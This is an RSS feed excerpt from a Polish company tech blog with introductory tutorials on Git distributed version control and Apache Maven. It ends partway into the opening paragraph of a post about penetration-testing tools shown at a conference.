<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog Technologiczny ATENA &#187; Narzędzia</title>
	<atom:link href="http://blog.atena.pl/category/narzedzia/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.atena.pl</link>
	<description>JavaEE, AJAX, xHTML, RIA, JBoss</description>
	<lastBuildDate>Fri, 20 Jan 2012 11:18:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Wstęp do rozproszonej kontroli wersji na przykładzie Git’a</title>
		<link>http://blog.atena.pl/wstep-do-rozproszonej-kontroli-wersji-na-przykladzie-gita</link>
		<comments>http://blog.atena.pl/wstep-do-rozproszonej-kontroli-wersji-na-przykladzie-gita#comments</comments>
		<pubDate>Wed, 14 Sep 2011 06:16:51 +0000</pubDate>
		<dc:creator>Michał Łaguna</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[repozytorium rozproszone]]></category>
		<category><![CDATA[rozproszona kontrola wersji]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=1481</guid>
		<description><![CDATA[W standardowych (centralnych) systemach wersjonowania mamy zazwyczaj jedno główne repozytorium kodu, z którego korzysta cały zespół. Praca w projekcie wiąże się z ciągłym pobieraniem i wgrywaniem zmian i w związku z tym wymaga stałego połączenia z jednym centralnym serwerem. Cała historia zmian trzymana jest w centralnym repozytorium, członkowie zespołu lokalnie posiadają jedynie kopię źródeł. Rozproszona [...]]]></description>
			<content:encoded><![CDATA[<p>W standardowych (centralnych) systemach wersjonowania mamy zazwyczaj jedno główne repozytorium kodu, z którego korzysta cały zespół. Praca w projekcie wiąże się z ciągłym pobieraniem i wgrywaniem zmian i w związku z tym wymaga stałego połączenia z jednym centralnym serwerem. Cała historia zmian trzymana jest w centralnym repozytorium, członkowie zespołu lokalnie posiadają jedynie kopię źródeł.</p>
<p>Rozproszona kontrola wersji jest zorganizowana w zupełnie inny sposób. Repozytoriów jest tyle ilu członków zespołu. Każdy z nich lokalnie posiada pełne źródła projektu wraz z historią zmian. <strong>Wszystkie repozytoria są równe – żadne z nich nie jest w żaden sposób wyróżnione.</strong> To, z którego repozytorium na przykład zbudujemy wersję jest sprawą czysto umowną.</p>
<p><span id="more-1481"></span>Rozpoczęcie pracy z projektem wiąże się ze stworzeniem nowej kopii projektu przez sklonowanie wybranego istniejącego repozytorium. Dalsza praca może odbywać się lokalnie. W wybranych momentach następuje scalanie zmian dokonywanych przez różnych członków zespołu.</p>
<h2>Co zyskujemy dzięki rozproszeniu?</h2>
<p>Przede wszystkim pracujemy lokalnie – tworzymy branche wtedy kiedy my ich potrzebujemy, nazywamy je tak jak chcemy (nie ma konfliktów nazw często spotykanych w repozytoriach centralnych), commitujemy zmiany kiedy uznamy jakąś część pracy za wykonaną. <strong>Pomimo pracy lokalnej jesteśmy cały czas pod kontrolą wersji</strong> – możemy zarządzać nawet małymi lokalnymi zmianami, które potencjalnie mogą zawierać błędy.</p>
<p><strong>Zarządzamy zmianami a nie wersjami</strong>. Wbrew pozorom to bardzo duża zmiana w podejściu do zarządzania kodem – zamiast zastanawiać się jak uaktualnić jedną wersję tak, żeby była taka sama jak inna &#8211; zarządzamy zmianami – mówimy więc ‘daj mi swój zestaw zmian’. Przy takim podejściu mergowanie zmian staje się codziennością w związku z czym musi być wydajne i bezproblemowe i takie właśnie jest. Dzięki temu pośrednio zyskujemy też silne wsparcie dla nieliniowego rozwoju projektu.</p>
<p>Kompletny projekt wraz z historią zmian istnieje w wielu miejscach. Podczas zakładania (klonowania) projektu dostajemy pełną kopię repozytorium (wraz z historią zmian). Dzięki temu nie mamy jednego newralgicznego punktu, ale te same źródła w wielu miejscach.</p>
<h2>Systemy rozproszonego zarządzania wersjami</h2>
<p>Na rynku istnieje kilka systemów <strong>DVCS (Distributed Version Control System)</strong>. Do głównych należą darmowe Mercurial, Bazaar, Git oraz komercyjny BitKeeper. Nie ma dużych różnic projektowych pomiędzy nimi (być może poza sposobem synchronizacji), są za to znaczące różnice w implementacji, które wpływają na wydajność i komfort pracy. Ciekawostką jest to, ze Bazaar może pracować zarówno jako repozytorium rozproszone jak i w modelu z centralnym repozytorium.</p>
<p>Ze względu na rosnącą popularność Git’a proponuję pouczyć się co to jest DVCS na jego przykładzie.</p>
<h2>Git</h2>
<p><strong>Git jest szybkim rozproszonym systemem kontroli wersji dostępnym na licencji open source.</strong> Został zaprojektowany i pierwotnie stworzony przez Linusa Torvaldsa na potrzeby zarządzania źródłami jądra Linuxa.</p>
<p>Wśród głównych cech Git’a autorzy wymieniają to, że jest systemem rozproszonym, wspiera nieliniowy development, jest wydajny w dużych projektach oraz zapewnia spójność repozytorium przez zastosowanie algorytmów szyfrujących (SHA1).</p>
<h2>Instalacja</h2>
<p>Większość systemów linuxowych ma już gita w swoich repozytoriach pakietów (git-core). Wersję zbudowaną lub źródła można pobrać ze strony projektu (http://git-scm.com/download). Instalacja jest prosta i nie powinna przysporzyć problemów.</p>
<p>Po zainstalowaniu Git jest gotowy do zarządzania naszym kodem.</p>
<p>Jedyne co powinniśmy ustawić, to swoją nazwę użytkownika i e-mail:</p>
<pre>git config --global user.name Michal Laguna
git config --global user.email michal.laguna@atena.pl</pre>
<h2>Utworzenie repozytorium</h2>
<p>Po założeniu katalogu z projektem wykonujemy polecenie <em>git init</em>. Spowoduje to utworzenie repozytorium – w katalogu z projektem powinien powstać katalog .git.</p>
<pre>$git init
Initialized empty Git repository in /home/atena/repo1/.git</pre>
<p>Za pomocą polecenia git status możemy sprawdzić aktualny stan naszego repozytorium. Powinniśmy dostać odpowiedź podobną do tej:</p>
<pre>$git status
# On branch master
nothing to commit (working directory clean)</pre>
<h2>Dodanie/zmiana plików</h2>
<p>Pliki dodajemy i zmieniamy w repozytorium za pomocą polecenia add:</p>
<pre>$git add.
$git status
# On branch master
# Changes to be commited:
…
# new file: test1.txt</pre>
<h2>Zatwierdzenie zmian</h2>
<p>Wprowadzone zmiany zatwierdzamy za pomocą polecenia commit (uwaga: commit zatwierdza zmiany tylko w lokalnym repozytorium):</p>
<pre>$git commit –m ‘Poprawa bledu Abcd1234’
1 files changed, 1 insertion(+), 0 deletion(-)
create mode 100644 test1.txt</pre>
<h2>Historia zmian</h2>
<p>W dowolnej chwili można podejrzeć historię zmian za pomocą polecenia log:</p>
<pre>$git log</pre>
<p>Możemy podejrzeć również listę różnic:</p>
<pre>$git log –p</pre>
<h2>Branchowanie i mergowanie</h2>
<p>Stworzenie brancha jest tak proste jak wykonanie instrukcji git branch [nazwa brancha]. Żeby przełączyć się na brancha wykonujemy polecenie git checkout [nazwa brancha].</p>
<pre>$git branch xyz123
$git checkout xyz123
Switched to branch ‘xyz123’</pre>
<p>W dowolnej chwili możemy sprawdzić w jakim branchu aktualnie się znajdujemy (ten oznaczony gwiazdką):</p>
<pre>$git branch
master
* xyz123</pre>
<p>Dokonajmy teraz zmiany w naszym branchu xyz123 i dodajmy zmianę do brancha:</p>
<pre>$git add –m ‘Zmiana w branchu’
$git commit</pre>
<p>Powyższe dwie instrukcje możemy też zastąpić pojedynczą:</p>
<pre>$git commit –a –m ‘Zmiana w branchu’</pre>
<p>Po przejściu z powrotem do brancha głównego widzimy, że nie ma w nim wprowadzonych zmian:</p>
<pre>$git checkout master
$git log</pre>
<p>Możemy teraz dociągnąć zmiany za pomocą polecenia merge:</p>
<pre>$git merge xyz123</pre>
<p>Na koniec możemy podejrzeć drzewko zmian w narzędziu gitk</p>
<pre>$gitk</pre>
<p>I usunąć gałąź xyz123</p>
<pre>$git branch –d xyz123</pre>
<h2>Tagowanie</h2>
<p>Założenie taga to wykonanie polecenia Tag:</p>
<pre>$git tag 0.1.15</pre>
<p>Lista tagów:</p>
<pre>$git tag -l</pre>
<p>Następnie możemy stworzyć brancha z dowolnego taga:</p>
<pre>$git branch stable 0.1.15</pre>
<h2>Praca w zespole</h2>
<p>Jak już wiemy w pracy z rozproszonym systemem kontroli wersji <strong>wszystkie repozytoria są równe</strong>, a wskazanie repozytorium, z którego na przykład budujemy wersję lub uruchamiany testy jest <strong>tylko kwestią umowy</strong>.</p>
<p>Załóżmy, że pracujemy w dwuosobowym zespole (user1, user2). User2 tworzy swoje lokalne repozytorium przez sklonowanie repozytorium należącego do user1:</p>
<pre>$git clone git-repo-user1 git-repo-user2
Cloning into git-repo-user2…
done.</pre>
<p>Następnie user2 edytuje lokalnie jakieś pliki umieszcza je w swoim repozytorium:</p>
<pre>cd git-repo-user2
git commit –a –m ‘Zmiany user2’</pre>
<p>Gdy skończy może powiadomić usera1 o możliwości zaciągnięcia zmian – wtedy user1 może dociągnąć zmiany z repozytorium usera2 za pomocą polecenia pull:</p>
<pre>$git pull /home/atena/git-repo-user2 master</pre>
<p>Polecenie pull powoduje pobranie zmian ze wskazanego repozytorium i zmergowanie ich z naszym kodem (fetch + merge). Wskazane jest zacommitowanie wszystkich lokalnych zmian przed wykonaniem operacji pull – pozwoli to na bezproblemowe przeprowadzenie merge’a.</p>
<p>Istnieje możliwość ściągnięcia zmian z innego repozytorium bez ich mergowania – służy do tego polecenie fetch:</p>
<pre>$git fetch /home/atena/git-repo-user2 master
$git log –p HEAD..FETCH_HEAD
$git merge FETCH_HEAD</pre>
<p>Dla ułatwienia pracy można nadać alias zdalnemu repozytorium, z którym pracujemy:</p>
<pre>$git remote add user2 /home/atena/git-repo-user2</pre>
<p>Z poziomu swojego repozytorium możemy też ‘wepchać’ zmiany do repozytorium zdalnego – praca z Gitem przypomina wtedy pracę z repozytorium centralnym. Służy do tego polecenie push:</p>
<pre>$git push user2 master</pre>
<p>Co ważne – Git domyślnie nie pozwoli na wepchnięcie zmian do zdalnego repozytorium jeśli wskazany branch został w nim zacheckoutowany. Dostaniemy wtedy taki komunikat:</p>
<pre>error: refusing to update checked out branch: refs/heads/master
error: By default, updating the current branch in a non-bare repository
error: is denied, because it will make the index and work tree inconsistent
error: with what you pushed, and will require 'git reset --hard' to match
error: the work tree to HEAD.</pre>
<p>Możemy wtedy zrobić dwie rzeczy – albo w zdalnym repozytorium przejść (checkout) na inny branch lub przekształcić zdalne repozytorium w repozytorium centralne (bare), czyli takie, które zawiera jedynie katalog .git i nie zawiera żadnych zacheckoutowanych plików</p>
<pre>git config --bool core.bare true</pre>
<h2>Rebase</h2>
<p>Niniejszy artykuł jest jedynie wprowadzeniem do zagadnienia rozproszonego kontrolowania źródeł, ale ponieważ za przykład wzięliśmy Git’a nie sposób nie wspomnieć o jeszcze jednej bardzo wartościowej i silnej funkcjonalności którą dostarcza – rebase.</p>
<p>Rebase to w uproszczeniu przesunięcie miejsca utworzenia brancha. Załóżmy, że mamy w projekcie branch główny oraz jakiś dodatkowy z funkcjonalnością przygotowywaną dla konkretnego klienta. Jeśli chcemy aby branch dedykowany dla klienta zawierał wszystkie zmiany wrzucane do brancha głównego musimy dokonywać merge’y.</p>
<p>Git daje nam możliwość wykonania operacji rebase, która spowoduje przesunięcie miejsca utworzenia brancha:</p>
<pre>$git checkout clientX_branch
$git rebase origin</pre>
<p>Po takiej operacji Git zapisze wszystkie commity od momentu utworzenia brancha jako patche w katalogu .git/rebase, zaktualizuje brancha tak, żeby wskazywał aktualną wersję w branchu głównym i na koniec zaaplikuje odłożone patche. Dzięki temu historia zmian będzie serią commitów bez merge’y.</p>
<h2>Podsumowanie</h2>
<p>Rozproszone systemy zarządzania wersjami moim zdaniem w pewnym sensie <strong>definiują na nowo podejście do zarządzania kodem źródłowym</strong>. Skupienie się na zmianach zamiast na wersjach rozwiązało bardzo wiele problemów spotykanych w pracy z SVN’em czy CVS’em &#8211; branchowanie i mergowanie staje się standardowym elementem prowadzenia developmentu, a dzięki rozproszeniu <strong>repozytorium towarzyszy nam od pierwszej linijki kodu</strong>.</p>
<p>Z drugiej strony rozproszone systemy repozytorium kodu nie są żadną nowością, a moim zdaniem wciąż nie zyskały bardzo dużej popularności w projektach komercyjnych. Wydaje mi się,  że z punktu widzenia firmy rozproszenie repozytorium nie jest czymś niezbędnym &#8211; najczęściej przecież i tak potrzebujemy repozytorium centralnego, z którego automatycznie budujemy aktualną wersję i na przykład puszczamy testy jednostkowe. Tworzenie oprogramowania w firmie jest zazwyczaj prowadzone w sposób bardziej usystematyzowany niż w projektach tworzonych przez otwartą społeczność. Zakłada się, że wszyscy deweloperzy wykonują przydzielone zadania i wyniki ich pracy będą musiały się znaleźć w wersji. Czasem może nawet nie chcemy, żeby szeregowy developer mógł pobrać projekt wraz z kilkuletnią historią jego rozwoju.<br />
Pewnym problemem może być też wsparcie systemu kontroli wersji przez IDE. SVN czy CVS jest wszechobecny &#8211; większość narzędzi do projektowania i wytwarzania aplikacji bez względu na język programowania czy modelowania ma albo natywną obsługę albo przynajmniej wtyczki do obsługi najpopularniejszych systemów kontroli wersji. Niestety żaden z rozproszonych systemów kontroli wersji nie należy jeszcze do tych najpopularniejszych.</p>
<p>Jeśli chodzi o Git’a to jest bez wątpienia bardzo silnym narzędziem. Na dzień dzisiejszy wydaje się być dopracowanym projektem gotowym do użycia w komercyjnym projekcie. Nie jest jednak jedynym DVCS’em – moim zdaniem przed rozpoczęciem projektu warto rozpoznać konkurencję pod kątem naszych konkretnych potrzeb (np. chociażby pluginów do wybranych IDE).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/wstep-do-rozproszonej-kontroli-wersji-na-przykladzie-gita/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wprowadzenie do Maven&#8217;a</title>
		<link>http://blog.atena.pl/wprowadzenie-do-mavena</link>
		<comments>http://blog.atena.pl/wprowadzenie-do-mavena#comments</comments>
		<pubDate>Tue, 30 Aug 2011 05:57:54 +0000</pubDate>
		<dc:creator>Michał Łaguna</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[JavaEE]]></category>
		<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[maven]]></category>
		<category><![CDATA[mvn]]></category>
		<category><![CDATA[zarządzanie zależnościami]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=1420</guid>
		<description><![CDATA[Wielką zaletą języka Java jest jego elastyczność. Oznacza to między innymi, że nikt nie mówi nam gdzie mają być nasze źródła, do jakiego katalogu mają trafić binarki ani gdzie mamy mieć umieszczone pliki propertiesów czy biblioteki zewnętrzne. Poza drobnymi ograniczeniami specyficznymi dla pewnych rodzajów rozwiązań możemy zazwyczaj sami zdefiniować praktycznie całą strukturę projektu według własnych [...]]]></description>
			<content:encoded><![CDATA[<p>Wielką zaletą języka Java jest jego elastyczność. Oznacza to między innymi, że nikt nie mówi nam gdzie mają być nasze źródła, do jakiego katalogu mają trafić binarki ani gdzie mamy mieć umieszczone pliki propertiesów czy biblioteki zewnętrzne. Poza drobnymi ograniczeniami specyficznymi dla pewnych rodzajów rozwiązań możemy zazwyczaj sami zdefiniować praktycznie całą strukturę projektu według własnych potrzeb i upodobań. Do tego mamy jeszcze dowolność w wyborze sposobu budowania aplikacji &#8211; możemy zbudować projekt z poziomu IDE, z linii poleceń lub użyć dedykowanych narzędzi do budowania.</p>
<p><span id="more-1420"></span></p>
<h2>Gdzie ja mam wrzucić te pliki?</h2>
<p>Ta wielka zaleta potrafi jednak obrócić się przeciwko nam. Ponieważ to projektanci i programiści definiują strukturę projektu i sposób budowania aplikacji trudno jest znaleźć dwa takie same projekty. Każdy, kto pracował w kilku projektach javowych, szczególnie wytwarzanych w ramach różnych zespołów prawdopodobnie spotkał się z opisywaną sytuacją. Wydaje mi się, że taki brak „szablonu projektu” może być problematyczny szczególnie dla młodszych programistów, którzy &#8211; przechodząc z projektu do projektu &#8211; mogą czuć się zagubieni.</p>
<h2>Wsparcie – Maven</h2>
<p>Z pomocą przychodzi Maven, czyli narzędzie do zarządzania projektem Javowym. Osobiście uważam Mavena za jeden z najbardziej przełomowych &#8216;wynalazków&#8217; świata Javowego.</p>
<p><strong>Maven zrodził się z potrzeby zdefiniowania standardowej struktury projektu, standardowego sposobu budowania aplikacji oraz sposobu definiowania zależności pomiędzy modułami projektu.</strong> Dzięki tej standaryzacji przejście pomiędzy projektami opartymi o Mavena jest wręcz przezroczyste &#8211; możemy skupić się na biznesowych problemach zamiast zastanawiać się nad tym jak to wszystko zbudować i skąd wziąć oraz gdzie wrzucić kolejnego JARka.</p>
<p>Budowanie oprogramowania przy użyciu Mavena oparte jest o cele. Każde wołanie powinno zakończyć osiągnięciem konkretnego celu. Może być nim np. kompilacja (compile), zbudowanie paczki (package) czy przeprowadzenie testów jednostkowych (test). Dostępne cele są określane przez wtyczki rozszerzające funkcjonalność Mavena. Konkretne cele mogą wymagać wykonania wcześniej jakiegoś innego celu (np. package musi być poprzedzony compile).</p>
<p>Projekt mavenowy definiuje się poprzez stworzenie i utrzymywanie pliku <strong>pom.xml</strong> (POM &#8211; ang. Project Object Model). Pom.xml jest głównym miejscem pracy z projektem i zawiera wszystkie istotne elementy definiujące projekt, jego strukturę, sposób budowania i przede wszystkim zależności.</p>
<p>Mavena można pobrać ze strony projektu http://maven.apache.org/download.html &#8211; nie wymaga on tak naprawdę żadnej instalacji &#8211; po rozpakowaniu należy jedynie ustawić zmienne środowiskowe: M2_HOME (wskazanie na katalog, do którego rozpakowaliśmy mavena), M2 (wskazanie na katalog [M2_HOME]/bin) i dodać katalog bin do zmiennej PATH (wskazanie na [M2_HOME]/bin).</p>
<h2>Struktura projektu</h2>
<p>Typowy projekt mavenowy ma strukturę taką, jak na poniższym diagramie:</p>
<pre>atena-app
|-- pom.xml
`-- src
    |-- main
    |   `-- java
    |       `-- pl
    |           `-- atena
    |               `-- app
    |                   `-- AtenaApp.java
    |   `-- resources
    |       `--META-INF
    |          `--application.properties
    `-- test
        `-- java
            `-- pl
                `-- atena
                    `-- app
                        `-- AtenaAppTest.java</pre>
<p>Sam plik pom.xml może wyglądać tak jak w poniższym fragmencie kodu:</p>
<pre>&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
                      http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;
  &lt;groupId&gt;pl.atena&lt;/groupId&gt;
  &lt;artifactId&gt;atena-app&lt;/artifactId&gt;
  &lt;packaging&gt;jar&lt;/packaging&gt;
  &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;
  &lt;name&gt;Maven Quick Start Archetype&lt;/name&gt;
  &lt;url&gt;http://maven.apache.org&lt;/url&gt;
  &lt;dependencies&gt;
    &lt;dependency&gt;
      &lt;groupId&gt;junit&lt;/groupId&gt;
      &lt;artifactId&gt;junit&lt;/artifactId&gt;
      &lt;version&gt;3.8.1&lt;/version&gt;
      &lt;scope&gt;test&lt;/scope&gt;
    &lt;/dependency&gt;
  &lt;/dependencies&gt;
&lt;/project&gt;</pre>
<p>Jest to bardzo prosty podstawowy plik pom.xml. Poniżej krótki opis poszczególnych sekcji pom’a:</p>
<ul>
<li><strong>groupId </strong>- twórcę (pl.atena),</li>
<li><strong>artifactId </strong>- nazwę aplikacji (atena-app),</li>
<li><strong>packaging </strong>- sposób pakowania (jar, war, ear),</li>
<li><strong>version </strong>- wersję,</li>
<li><strong>name </strong>- nazwę wyświetlaną</li>
<li><strong>url </strong>- link do strony projektu</li>
<li><strong>dependecies </strong>– zależności od innych modułów</li>
</ul>
<h2>Zakładanie i definiowanie projektu</h2>
<p>Projekt możemy zdefiniować ręcznie poprzez utworzenie wymaganej struktury katalogów oraz stworzenie pliku pom.xml. Nie ma tutaj żadnej magii – tak przygotowany projekt jest w pełni poprawnym projektem mavenowym. Takie tworzenie nie jest jednak zbyt przyjemne.</p>
<p>Z pomocą przychodzi mechanizm archetypów (a ściślej mówiąc plugin archetype), czyli tzw. szablony projektów. Poprzez wywołanie poniższej linii stworzymy kompletną strukturę prostego projektu wraz z podstawowym plikiem pom.xml:</p>
<pre>mvn archetype:generate -DgroupId=pl.atena -DartifactId=atena-app
-DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false</pre>
<p>Powyższa linia oznacza: wywołaj cel ‘generate’ z pluginu ‘archetype’ i stwórz projekt pl.atena.atena-app na podstawie szablonu maven-archetype-quickstart. W wyniku pracy mavena powinniśmy otrzymać katalog z projektem i prosty pom.xml.</p>
<p>Istnieje bardzo dużo gotowych szablonów, dzięki czemu możemy na przykład przez wywołanie takiego prostego polecenia stworzyć kompilujący się i gotowy do deployu projekt aplikacji webowej zgodny z JEE6.</p>
<h2>Budowanie projektu</h2>
<p>Jak już wcześniej wspominałem budowanie projektu to wykonywanie określonych celi. Jeśli chcemy np. skompilować projekt wykonujemy polecenie mvn compile z poziomu katalogu głównego projektu (czyli tam gdzie jest umieszczony plik pom.xml).</p>
<p>Możemy wykonać kilka celi po kolei – np.: mvn clean package spowoduje wyczyszczenie wyników wcześniejszych buildów i spakowanie od nowa projektu (poprzedzone kompilacją, gdyż package wywołuje najpierw compile).</p>
<h2>Cykl życia projektu</h2>
<p>Maven definiuje coś co nazywa się cykle życia projektu. Jest to zestaw standardowych najważniejszych z punktu widzenia aplikacji, bardzo precyzyjnie zdefiniowanych i wykonywanych w określonej kolejności faz. Błąd na dowolnym etapie zatrzymuje wykonywanie kolejnych faz w cyklu. Maven definiuje trzy cykle życia: <strong>default</strong>, <strong>clean </strong>i <strong>site</strong>.</p>
<p>Fazy domyślnego (<strong>default</strong>) cyklu życia:</p>
<ul>
<li><strong>validate </strong>- sprawdza poprawność projektu;</li>
<li><strong>compile </strong>- kompiluje kod źródłowy;</li>
<li><strong>test </strong>- wykonuje testy jednostkowe;</li>
<li><strong>package </strong>- pakuje skompilowany kod w paczki dystrybucyjne (np. Jar, war);</li>
<li><strong>integration</strong>-test &#8211; deployuje paczkę w środowisku testów integracyjnych;</li>
<li><strong>verify </strong>- sprawdza poprawność paczki;</li>
<li><strong>install </strong>- umieszcza paczkę w lokalnym repozytorium aby mogła być używana przez inne moduły;</li>
<li><strong>deploy </strong>- umieszcza (publikuje) paczkę w zdalnym repozytorium.</li>
</ul>
<p>Cykl życia <strong>clean </strong>czyści wynik działania wcześniejszych buildów.</p>
<p>Cykl życia <strong>site </strong>generuje dokumentację projektu.</p>
<p>Powyżej opisane fazy są tak naprawdę mapowane na konkretne cele. Na przykład package w przypadku projektu typu jar wywoła jar:jar, a w przypadku projektu typu war war:war.</p>
<h2>Pluginy</h2>
<p>Funkcjonalność Mavena może być rozszerzana przez pluginy. Wywoływanie celów zdefiniowanych w pluginach odbywa się poprzez wywołanie polecenia mvn [plugin]:[goal], gdzie plugin to nazwa wtyczki, a goal to wywoływany cel.</p>
<p>Użyliśmy tej konstrukcji tworząc projekt z szablonu (mvn archetype:generate).</p>
<p>Samo dodanie plugina do projektu odbywa się poprzez dodanie odpowiedniej definicji w pliku pom.xml. Taka zależność może wyglądać jak poniżej:</p>
<pre>&lt;build&gt;
  &lt;plugins&gt;
    &lt;plugin&gt;
      &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
      &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt;
      &lt;version&gt;2.0.2&lt;/version&gt;
      &lt;configuration&gt;
        &lt;source&gt;1.5&lt;/source&gt;
        &lt;target&gt;1.5&lt;/target&gt;
      &lt;/configuration&gt;
    &lt;/plugin&gt;
  &lt;/plugins&gt;
&lt;/build&gt;</pre>
<h2>Zależności</h2>
<p>Zarządzanie zależnościami bywa trudne nawet w małym projekcie, a w projekcie dużym i złożonym bywa zadaniem bardzo wyczerpującym.</p>
<p>Prawdopodobnie każdy z nas niejednokrotnie wyszukiwał w google’u jakichś JARków i próbował je ściągać z przypadkowych stron. Ponadto pracując w projekcie złożonym z kilku modułów bardzo często napotykamy problem dostarczania coraz to nowszej wersji modułu do innego obszaru projektu. W tych problemach z pomocą ponownie przychodzi Maven. Zarządzanie zależnościami jest chyba tym z czego Maven tak naprawdę słynie najbardziej.</p>
<p>Dodanie zależności sprowadza się do dodanie elementu dependency w pliku pom.xml. W elemencie dependency wkazujemy dostawcę (groupId), nazwę modułu (artifactId), wersję (version) i zasięg (scope). Maven podczas budowania automatycznie pobierze z repozytorium moduł od którego zależność zdefiniowaliśmy (wcześniej może być konieczne zdefiniowanie dodatkowych repozytorium).</p>
<p>Przykładowa definicja zależności:</p>
<pre>&lt;dependencies&gt;
    &lt;dependency&gt;
      &lt;groupId&gt;junit&lt;/groupId&gt;
      &lt;artifactId&gt;junit&lt;/artifactId&gt;
      &lt;version&gt;3.8.1&lt;/version&gt;
      &lt;scope&gt;test&lt;/scope&gt;
    &lt;/dependency&gt;
    ……
  &lt;/dependencies&gt;</pre>
<h2>Zależności przechodnie</h2>
<p>Zależności przechodnie oszczędzają nam pracy związanej z odkrywaniem od czego jeszcze musimy zależeć w związku ze zdefiniowaniem zależności od jakiegoś modułu. Jeśli nasz moduł A zależy od modułu B, a moduł B zależy od kolejnych modułów to te końcowe zależności zostaną automatycznie dołączone do naszego projektu.</p>
<p>Istotnym elementem definiowania zależności jest określenie zasięgu (<strong>scope</strong>). Może mieć on jedną z poniższych wartości:</p>
<ul>
<li><strong>compile </strong>- domyślny zasięg – zależności o zasięgu kompilacji są dostępne we wszystkich fazach (kompilacji, uruchomienia) projektu i są propagowane do projektów zależących od mojego projektu.</li>
<li><strong>provided </strong>- zasięg zbliżony do compile z tą różnicą, że zakładamy dostępność tych bibliotek w runtime. Przykładem dla użycia provided może być Servlet API – potrzebujemy go do kompilacji, ale w runtime będzie udostępniony przez kontener.</li>
<li><strong>runtime </strong>- zasięg zakłada, że biblioteka nie jest potrzebna do kompilacji, ale tylko do uruchomienia (runtime i test).</li>
<li><strong>test </strong>- zasięg wskazuje, że biblioteka nie jest wymagana do normalnej pracy aplikacji i jest potrzebna jedynie w fazie testów.</li>
<li><strong>system </strong>- zasięg zbliżony do provided z tą różnicą, że jawnie wskazujemy jara zawierającego bibliotekę.</li>
<li><strong>import </strong><em>(dostęny od Mavena 2.0.9)</em> &#8211; zasięg dostępny jedynie dla zależności typu pom &#8211; wskazuje Mavenowi, że chcemy dołożyć do naszego projektu zależności zdefiniowane w innym projekcie.</li>
</ul>
<h2>Integracja z IDE</h2>
<p>Korzystanie z Mavena tylko z linii poleceń może być uciążliwe, ale oczywiście nie jest to konieczne. Istnieją oficjalne pluginy do Eclipse&#8217;a i Netbeans&#8217;a. Szczególnie polecanym pluginem do Eclipse&#8217;a jest m2eclipse &#8211; jest to najstarszy i najdojrzalszy plugin i działa bardzo poprawnie.</p>
<p>Więcej o pluginach do Eclipse&#8217;a można znaleźć na stronie http://maven.apache.org/eclipse-plugin.html, a o pluginach o Netbeans&#8217;a na http://maven.apache.org/netbeans-module.html. InteliJ wspiera mavena natywnie.</p>
<h2>Podsumowanie</h2>
<p>Powyższy artykuł jest tak naprawdę tylko wstępem, który mam nadzieję choć trochę przybliży Mavena i zachęci do zagłębienia się w temat. Maven daje wiele więcej – udostępnia mechanizmy dziedziczenia i agregacji pom’ów, pozwala na tworzenie własnych artefaktów, może być rozszerzany o wtyczki wspierające deployment komponentów na różnych serwerach aplikacyjnych &#8230; i wciąż się rozwija.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">
<h2>Gdzie ja mam wrzucić te pliki?</h2>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/wprowadzenie-do-mavena/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Każdy z nas może być hakerem?</title>
		<link>http://blog.atena.pl/kazdy-z-nas-moze-byc-hakerem</link>
		<comments>http://blog.atena.pl/kazdy-z-nas-moze-byc-hakerem#comments</comments>
		<pubDate>Mon, 11 Jul 2011 11:10:07 +0000</pubDate>
		<dc:creator>Mateusz Lachowicz</dc:creator>
				<category><![CDATA[InfoShare]]></category>
		<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[infoshare]]></category>
		<category><![CDATA[testy]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=1366</guid>
		<description><![CDATA[Jedną z najciekawszych prezentacji przedstawionych na tegorocznej konferencji infoShare była prezentacja &#8222;Narzędzia Hackerów&#8221; Piotra Koniecznego. Już sam temat wykładu wzbudził moje zainteresowanie i ciekawość, ale również podwyższył oczekiwania co do treści. Zainspirowany prezentacją, postanowiłem zgłębić swoją wiedzę na temat „Narzędzi Hackerów”, pod których hasłem – jak się okazało – ukrywały się narzędzia wykorzystywane  do przeprowadzania [...]]]></description>
			<content:encoded><![CDATA[<p>Jedną z najciekawszych prezentacji przedstawionych na tegorocznej konferencji infoShare była prezentacja &#8222;Narzędzia Hackerów&#8221; Piotra Koniecznego. Już sam temat wykładu wzbudził moje zainteresowanie i ciekawość, ale również podwyższył oczekiwania co do treści. Zainspirowany prezentacją, postanowiłem zgłębić swoją wiedzę na temat „Narzędzi Hackerów”, pod których hasłem – jak się okazało – ukrywały się narzędzia wykorzystywane  do przeprowadzania testów penetracyjnych.</p>
